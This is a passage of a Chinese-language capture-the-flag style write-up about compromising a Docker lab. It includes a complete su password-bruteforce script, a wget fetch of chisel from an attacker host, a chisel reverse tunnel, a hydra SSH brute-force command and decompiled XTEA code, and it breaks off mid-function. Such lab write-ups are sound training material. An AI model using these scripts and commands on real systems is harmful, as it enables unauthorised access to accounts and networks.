Terminal Simulator\n[*] WebTitle http:\/\/172.17.0.2         code:200 len:3038   title:Introduction to Brute Force Attacks\n[*] WebTitle http:\/\/172.17.0.3:8080    code:302 len:0      title:None \u8df3\u8f6curl: http:\/\/172.17.0.3:8080\/login.html\n[*] WebTitle http:\/\/172.17.0.1:8080    code:302 len:0      title:None \u8df3\u8f6curl: http:\/\/172.17.0.1:8080\/login.html\n[*] WebTitle http:\/\/172.17.0.3:8080\/login.html code:200 len:2270   title:Login\n[*] WebTitle http:\/\/172.17.0.1:8080\/login.html code:200 len:2270   title:Login\n\u5df2\u5b8c\u6210 6\/6<\/code><\/pre>\n<p>\u53d1\u73b0\u6709\u4e00\u4e2a\u7206\u7834\u73af\u5883\uff0c\u770b\u4e00\u4e0b\u662f\u4e2a\u5565\u60c5\u51b5\uff1a<\/p>\n<pre><code class=\"language-html\">bash-4.4# curl -s http:\/\/172.17.0.2\ncurl -s http:\/\/172.17.0.2\n&lt;!DOCTYPE html&gt;\n&lt;html lang=&quot;en&quot;&gt;\n&lt;head&gt;\n  &lt;meta charset=&quot;UTF-8&quot;&gt;\n  &lt;title&gt;Introduction to Brute Force Attacks&lt;\/title&gt;\n  &lt;style&gt;\n    body {\n      font-family: &quot;Microsoft YaHei&quot;, sans-serif;\n      background: #f5f7fa;\n      color: #333;\n      margin: 0;\n      padding: 0;\n    }\n\n    header {\n      background-color: #2c3e50;\n      color: white;\n      padding: 20px;\n      text-align: center;\n    }\n\n    main {\n      max-width: 800px;\n      margin: 30px auto;\n      padding: 20px;\n      background: white;\n      box-shadow: 0 0 10px rgba(0,0,0,0.1);\n      border-radius: 8px;\n    }\n\n    h2 {\n      color: #2c3e50;\n      border-bottom: 2px solid #ecf0f1;\n      padding-bottom: 5px;\n    }\n\n    ul {\n      margin-left: 20px;\n    }\n\n    code {\n      background: #ecf0f1;\n      padding: 2px 5px;\n      border-radius: 4px;\n    }\n\n    footer {\n      text-align: center;\n      padding: 15px;\n      color: #888;\n      font-size: 14px;\n    }\n  &lt;\/style&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n  &lt;header&gt;\n    &lt;h1&gt;Introduction to Brute Force Attacks&lt;\/h1&gt;\n  &lt;\/header&gt;\n\n  &lt;main&gt;\n    &lt;h2&gt;What is a Brute Force Attack?&lt;\/h2&gt;\n    &lt;p&gt;A brute force attack is a method of trial and error used to crack passwords or encryption keys by systematically trying every possible combination until the correct one is found.&lt;\/p&gt;\n\n    &lt;h2&gt;Common Types of Brute Force Attacks&lt;\/h2&gt;\n    &lt;ul&gt;\n      &lt;li&gt;&lt;strong&gt;Pure Brute Force&lt;\/strong&gt;: Trying every combination from &lt;code&gt;aaaa&lt;\/code&gt; to &lt;code&gt;zzzz&lt;\/code&gt;.&lt;\/li&gt;\n      &lt;li&gt;&lt;strong&gt;Dictionary Attack&lt;\/strong&gt;: Using a list of common passwords to guess the correct one.&lt;\/li&gt;\n      &lt;li&gt;&lt;strong&gt;Hybrid Attack&lt;\/strong&gt;: Combining dictionary words with common variations (e.g., adding 123, changing letter cases, etc.).&lt;\/li&gt;\n    &lt;\/ul&gt;\n\n    &lt;h2&gt;Characteristics of Brute Force Attacks&lt;\/h2&gt;\n    &lt;ul&gt;\n      &lt;li&gt;Does not rely on software vulnerabilities, only on guess attempts.&lt;\/li&gt;\n      &lt;li&gt;Time-consuming, complexity increases exponentially with password length and character set.&lt;\/li&gt;\n      &lt;li&gt;Can be automated using tools such as Python scripts, Hydra, John the Ripper, etc.&lt;\/li&gt;\n    &lt;\/ul&gt;\n\n    &lt;h2&gt;Defense Against Brute Force Attacks&lt;\/h2&gt;\n    &lt;ul&gt;\n      &lt;li&gt;Implement &lt;strong&gt;account lockout&lt;\/strong&gt; policies, such as locking the account after 5 failed attempts.&lt;\/li&gt;\n      &lt;li&gt;Use &lt;strong&gt;CAPTCHA&lt;\/strong&gt; to block automated scripts.&lt;\/li&gt;\n      &lt;li&gt;Limit &lt;strong&gt;login rate&lt;\/strong&gt;, for example, allow only 3 attempts every 5 minutes.&lt;\/li&gt;\n      &lt;li&gt;Enforce &lt;strong&gt;strong passwords&lt;\/strong&gt; (long and complex).&lt;\/li&gt;\n      &lt;li&gt;Monitor login activity and detect abnormal login attempts.&lt;\/li&gt;\n    &lt;\/ul&gt;\n\n    &lt;h2&gt;Legal Use and Warning&lt;\/h2&gt;\n    &lt;p&gt;Brute force techniques can be used for penetration testing and security audits, but unauthorized use is illegal. Always follow applicable laws and regulations.&lt;\/p&gt;\n  &lt;\/main&gt;\n  &lt;!--500-worst-passwords--&gt;\n  &lt;footer&gt;\n    &copy; 2025 Cybersecurity Learning Page | For educational use only\n  &lt;\/footer&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;<\/code><\/pre>\n<h3>\u7206\u7834ssh<\/h3>\n<p>\u672c\u5730\u6e32\u67d3\u4e00\u4e0b\u770b\u770b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730207.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730207.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"12138\" \/><\/div><\/p>\n<p>\u770b\u6765\u4e0d\u7528\u8fdb\u884c\u7aef\u53e3\u8f6c\u53d1\u4e86\uff0c\u5c1d\u8bd5\u770b\u4e00\u4e0b\u6e90\u4ee3\u7801\u91cc\u7684\u6ce8\u89c6\u5173\u952e\u5b57\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730208.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730208.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260118134905572\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u4e0b\u8f7d\u4e0b\u6765\u5c1d\u8bd5\u8fdb\u884c\u7206\u7834\uff1a<\/p>\n<pre><code class=\"language-python\">#!\/bin\/bash\n\nhelp=&quot;This tool bruteforces a selected user using binary su and as passwords: null password, username, reverse username and a wordlist (top12000.txt).\nYou can specify a username using -u &lt;username&gt; and a wordlist via -w &lt;wordlist&gt;.\nBy default the BF default speed is using 100 su processes at the same time (each su try last 0.7s and a new su try in 0.007s) ~ 143s to complete\nYou can configure this times using -t (timeout su process) ans -s (sleep between 2 su processes).\nFastest recommendation: -t 0.5 (minimun acceptable) and -s 0.003 ~ 108s to complete\n\nExample:    .\/suBF.sh -u &lt;USERNAME&gt; [-w top12000.txt] [-t 0.7] [-s 0.007]\n\nTHE USERNAME IS CASE SENSITIVE AND THIS SCRIPT DOES NOT CHECK IF THE PROVIDED USERNAME EXIST, BE CAREFUL\\n\\n&quot;\n\nWORDLIST=&quot;top12000.txt&quot;\nUSER=&quot;&quot;\nTIMEOUTPROC=&quot;0.7&quot;\nSLEEPPROC=&quot;0.007&quot;\nwhile getopts &quot;h?u:t:s:w:&quot; opt; do\n  case &quot;$opt&quot; in\n    h|\\?) printf &quot;$help&quot;; exit 0;;\n    u)  USER=$OPTARG;;\n    t)  TIMEOUTPROC=$OPTARG;;\n    s)  SLEEPPROC=$OPTARG;;\n    w)  WORDLIST=$OPTARG;;\n    esac\ndone\n\nif ! [ &quot;$USER&quot; ]; then printf &quot;$help&quot;; exit 0; fi\n\nif ! [[ -p \/dev\/stdin ]] &amp;&amp; ! [ $WORDLIST = &quot;-&quot; ] &amp;&amp; ! [ -f &quot;$WORDLIST&quot; ]; then echo &quot;Wordlist ($WORDLIST) not found!&quot;; exit 0; fi\n\nC=$(printf &#039;\\033&#039;)\n\nsu_try_pwd (){\n  USER=$1\n  PASSWORDTRY=$2\n  trysu=`echo &quot;$PASSWORDTRY&quot; | timeout $TIMEOUTPROC su $USER -c whoami 2&gt;\/dev\/null` \n  if [ &quot;$trysu&quot; ]; then\n    echo &quot;  You can login as $USER using password: $PASSWORDTRY&quot; | sed &quot;s,.*,${C}[1;31;103m&amp;${C}[0m,&quot;\n    exit 0;\n  fi\n}\n\nsu_brute_user_num (){\n  echo &quot;  [+] Bruteforcing $1...&quot;\n  USER=$1\n  su_try_pwd $USER &quot;&quot; &amp;    #Try without password\n  su_try_pwd $USER $USER &amp; #Try username as password\n  su_try_pwd $USER `echo $USER | rev 2&gt;\/dev\/null` &amp;     #Try reverse username as password\n\n  if ! [[ -p \/dev\/stdin ]] &amp;&amp; [ -f &quot;$WORDLIST&quot; ]; then\n    while IFS=&#039;&#039; read -r P || [ -n &quot;${P}&quot; ]; do # Loop through wordlist file   \n      su_try_pwd $USER $P &amp; #Try TOP TRIES of passwords (by default 2000)\n      sleep $SLEEPPROC # To not overload the system\n    done &lt; $WORDLIST\n\n  else\n    cat - | while read line; do\n      su_try_pwd $USER $line &amp; #Try TOP TRIES of passwords (by default 2000)    \n      sleep $SLEEPPROC # To not overload the system\n    done\n  fi\n  wait\n}\n\nsu_brute_user_num $USER\necho &quot;  Wordlist exhausted&quot; | sed &quot;s,.*,${C}[1;31;107m&amp;${C}[0m,&quot;<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730209.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730209.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260118140249849\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u53d1\u73b0\u7206\u7834\u5931\u8d25\uff0c\u5f97\u5c1d\u8bd5\u5176\u4ed6\u65b9\u6cd5\uff0c\u6ce8\u610f\u5230\u76ee\u6807\u7f51\u7ad9<code>172.17.0.2<\/code>\u5f00\u542f\u4e86<code>22<\/code>\u7aef\u53e3\uff0c\u5f97\u5c1d\u8bd5\u8fdb\u884cssh\u7206\u7834\uff01<\/p>\n<p>\u7531\u4e8efscan\u4e0d\u63a5\u53d7\u6307\u5b9a\u5b57\u5178\u8fdb\u884c\u7206\u7834\uff0c\u6545\u5f97\u8fdb\u884c\u8f6c\u53d1\uff0c\u53c8\u7531\u4e8e\u65e0ssh\u8fde\u63a5\uff0c\u6240\u4ee5\u65e0\u6cd5\u4f7f\u7528ssh\u547d\u4ee4\u8fdb\u884c\u8f6c\u53d1\uff0c\u8fd9\u91cc\u4f7f\u7528\u4e00\u4e2a\u540d\u4e3achesel\u7684\u5de5\u5177\u8fdb\u884c\u8f6c\u53d1\uff01\uff08\u6216\u8005socat\u4e5f\u884c\uff09<\/p>\n<pre><code class=\"language-bash\">bash-4.4# wget http:\/\/192.168.64.3:8888\/chisel; chmod +x $_<\/code><\/pre>\n<pre><code># terminal1\nchisel server --port 9000 --reverse\n# terminal2\n.\/chisel client 192.168.64.3:9000 R:2222:172.17.0.2:22\n# terminal3\nhydra -L user -P pass ssh:\/\/127.0.0.1:2222 -t 4 -vV<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730210.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730210.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260118150010514\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5c1d\u8bd5\u8fdb\u884c\u8fde\u63a5\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730211.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730211.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260118150538588\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h3>\u5bc6\u7801\u5b66\u3002\u3002\u3002\u3002<\/h3>\n<p>\u672c\u6765\u4ee5\u4e3a\u5df2\u7ecf\u7ed3\u675f\u4e86\uff0c\u4f46\u662f\u53d1\u73b0\uff1a<\/p>\n<pre><code class=\"language-bash\">6ab28be27b0c:~# ls -la\ntotal 8\ndrwx------    1 root     root          4096 Jun 29  2025 .\ndrwxr-xr-x    1 root     root          4096 Jun 24  2025 ..\nlrwxrwxrwx    1 root     root             9 Jun 29  2025 .ash_history -&gt; \/dev\/null<\/code><\/pre>\n<p>\u4e0d\u5bf9\u52b2\uff0c\u5341\u5206\u6709\u5341\u4e8c\u5206\u7684\u4e0d\u5bf9\u52b2\uff0c\u770b\u4e00\u4e0b\u6709\u6df1\u58a8\u4e1c\u897f\uff1a<\/p>\n<pre><code class=\"language-bash\">6ab28be27b0c:~# cd ..\n6ab28be27b0c:\/# ls -la\ntotal 84\ndrwxr-xr-x    1 root     root          4096 Jun 24  2025 .\ndrwxr-xr-x    1 root     root          4096 Jun 24  2025 ..\n-rwxr-xr-x    1 root     root             0 Jun 24  2025 .dockerenv\ndrwxr-xr-x    1 root     root          4096 Jun 24  2025 bin\ndrwxr-xr-x    5 root     root           320 Jan 10 04:21 dev\ndrwxr-xr-x    1 root     root          4096 Jun 24  2025 etc\ndrwxr-xr-x    2 root     root          4096 May 30  2025 home\ndrwxr-xr-x    1 root     root          4096 May 30  2025 lib\ndrwxr-xr-x    5 root     root          4096 May 30  2025 media\ndrwxr-xr-x    2 root     root          4096 May 30  2025 mnt\ndrwxr-xr-x    2 root     root          4096 May 30  2025 opt\ndr-xr-xr-x 1662 root     root             0 Jan 10 04:21 proc\ndrwx------    1 root     root          4096 Jun 29  2025 root\ndrwxr-xr-x    1 root     root          4096 Jan 10 04:17 run\ndrwxr-xr-x    2 root     root          4096 May 30  2025 sbin\ndrwxr-xr-x    2 root     root          4096 May 30  2025 srv\ndr-xr-xr-x   13 root     root             0 Jan 10 04:21 sys\ndrwxrwxrwt    2 root     root          4096 May 30  2025 tmp\ndrwxr-xr-x    1 root     root          4096 May 30  2025 usr\ndrwxr-xr-x    1 root     root          4096 Jun 24  2025 var<\/code><\/pre>\n<p>\u88c5\u90fd\u4e0d\u88c5\u4e86\uff0c\u770b\u770b\u5565\u60c5\u51b5\uff1a<\/p>\n<pre><code class=\"language-bash\">6ab28be27b0c:\/bin# ls -la\ntotal 1540\ndrwxr-xr-x    1 root     root          4096 Jun 24  2025 .\ndrwxr-xr-x    1 root     root          4096 Jun 24  2025 ..\nlrwxrwxrwx    1 root     root            12 May 30  2025 arch -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 ash -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 base64 -&gt; \/bin\/busybox\n-rwxr-xr-x    1 root     root        756384 Sep 24  2024 bash\nlrwxrwxrwx    1 root     root            12 May 30  2025 bbconfig -&gt; \/bin\/busybox\n-rwxr-xr-x    1 root     root        808712 May 26  2025 busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 cat -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 chattr -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 chgrp -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 chmod -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 chown -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 cp -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 date -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 dd -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 df -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 dmesg -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 dnsdomainname -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 dumpkmap -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 echo -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 egrep -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 false -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 fatattr -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 fdflush -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 fgrep -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 fsync -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 getopt -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 grep -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 gunzip -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 gzip -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 hostname -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 ionice -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 iostat -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 ipcalc -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 kbd_mode -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 kill -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 link -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 linux32 -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 linux64 -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 ln -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 login -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 ls -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 lsattr -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 lzop -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 makemime -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 mkdir -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 mknod -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 mktemp -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 more -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 mount -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 mountpoint -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 mpstat -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 mv -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 netstat -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 nice -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 pidof -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 ping -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 ping6 -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 pipe_progress -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 printenv -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 ps -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 pwd -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 reformime -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 rev -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 rm -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 rmdir -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 run-parts -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 sed -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 setpriv -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 setserial -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 sh -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 sleep -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 stat -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 stty -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 su -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 sync -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 tar -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 touch -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 true -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 umount -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 uname -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 usleep -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 watch -&gt; \/bin\/busybox\nlrwxrwxrwx    1 root     root            12 May 30  2025 zcat -&gt; \/bin\/busybox\n6ab28be27b0c:\/usr\/bin# ls -la\n-------------\n-rwxr-xr-x    1 root     root          4797 May 26  2025 findssl.sh\n-------------\n-rwxr-xr-x    1 root     root         22344 Mar  5  2025 getconf\n-rwxr-xr-x    1 root     root         18480 Mar  5  2025 getent\n-------------\n-rwxr-xr-x    1 root     root         14152 Mar  5  2025 iconv\n-------------\n-rwxr-xr-x    1 root     root            52 Mar  5  2025 ldd\n-------------\n-rw-r--r--    1 root     root             0 Jun 24  2025 output.enc\n-------------\n-rwxr-xr-x    1 root     root         67504 Jan 20  2025 scanelf\n-rwxr-xr-x    1 root     root        190688 May 26  2025 scp\n-------------\n-rwxr-xr-x    1 root     root        198848 May 26  2025 sftp\n-------------\n-rwxr-xr-x    1 root     root        850752 May 26  2025 ssh\n-rwxr-xr-x    1 root     root        370816 May 26  2025 ssh-add\n-rwxr-xr-x    1 root     root        362656 May 26  2025 ssh-agent\n-rwxr-xr-x    1 root     root         14170 May 26  2025 ssh-copy-id\n-rwxr-xr-x    1 root     root        481576 May 26  2025 ssh-keygen\n-rwxr-xr-x    1 root     root        489992 May 26  2025 ssh-keyscan\n-rwxr-xr-x    1 root     root        338056 May 26  2025 ssh-pkcs11-helper\n-rwxr-xr-x    1 root     root         14384 May 26  2025 ssl_client\n-------------\n-rwxr-xr-x    1 root     root        772016 Jun 24  2025 userLogin\n-------------<\/code><\/pre>\n<p>\u770b\u5230\u4e86\u4e00\u4e9b\u975ebusybox\u7684\u6587\u4ef6\uff0c\u770b\u4e00\u4e0b\u6709\u4e9b\u5565\uff0c\u6392\u67e5\u5230\u4e86<code>userLogin<\/code>\uff0c\u4e0b\u8f7d\u4e0b\u6765\u770b\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\"># scp -P 2222 root@127.0.0.1:\/usr\/bin\/userLogin .\npwn@ubuntu:~\/temp\/yulian$ file userLogin\nuserLogin: ELF 64-bit LSB executable, x86-64, version 1 (GNU\/Linux), statically linked, BuildID[sha1]=305ce3b4a93ea685f30546b2754e008f7cf0f249, for GNU\/Linux 3.2.0, not stripped\npwn@ubuntu:~\/temp\/yulian$ pwn checksec userLogin\n[*] &#039;\/home\/pwn\/temp\/yulian\/userLogin&#039;\n    Arch:       amd64-64-little\n    RELRO:      Partial RELRO\n    Stack:      Canary found\n    NX:         NX enabled\n    PIE:        No PIE (0x400000)\n    Stripped:   No<\/code><\/pre>\n<p>\u53cd\u7f16\u8bd1\u4e00\u4e0b\u770b\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-c\">int __fastcall main(int argc, const char **argv, const char **envp)\n{\n  encrypt_file(argc, argv, envp);\n  return 0;\n}<\/code><\/pre>\n<p>\u53d1\u73b0\u5b58\u5728\u52a0\u5bc6\uff0c\u770b\u4e00\u4e0b\u52a0\u5bc6\u903b\u8f91\uff1a<\/p>\n<pre><code>__int64 encrypt_file()\n{\n  int v0; \/\/ ecx\n  int v1; \/\/ r8d\n  int v2; \/\/ r9d\n  __int64 v4; \/\/ [rsp+0h] [rbp-40h] BYREF\n  __int64 v5; \/\/ [rsp+8h] [rbp-38h] BYREF\n  _BYTE v6[24]; \/\/ [rsp+10h] [rbp-30h] BYREF\n  unsigned __int64 v7; \/\/ [rsp+28h] [rbp-18h]\n  __int64 v8; \/\/ [rsp+30h] [rbp-10h]\n  __int64 v9; \/\/ [rsp+38h] [rbp-8h]\n\n  v9 = IO_new_fopen(INPUT_FILE, &quot;rb&quot;);\n  v8 = IO_new_fopen(OUTPUT_FILE, &quot;wb&quot;);\n  if ( !v9 || !v8 )\n  {\n    perror(&quot;error&quot;);\n    exit(1);\n  }\n  key_from_fixed_string(v6);\n  while ( 1 )\n  {\n    v7 = IO_fread(&amp;v5, 1, 8, v9);\n    if ( !v7 )\n      break;\n    if ( v7 &lt;= 7 )\n      j_memset(&amp;v6[v7 - 8], 0, 8 - v7);\n    v4 = v5;\n    xtea_encrypt(&amp;v4, v6);\n    IO_fwrite(&amp;v4, 1, 8, v8);\n  }\n  IO_new_fclose(v9);\n  IO_new_fclose(v8);\n  return _printf((unsigned int)&amp;unk_479042, (_DWORD)INPUT_FILE, (_DWORD)OUTPUT_FILE, v0, v1, v2, v4);\n}<\/code><\/pre>\n<p>\u63a5\u7740\u770b\uff1a<\/p>\n<pre><code class=\"language-bash\">__int64 __fastcall xtea_encrypt(unsigned int *a1, __int64 a2)\n{\n  int i; 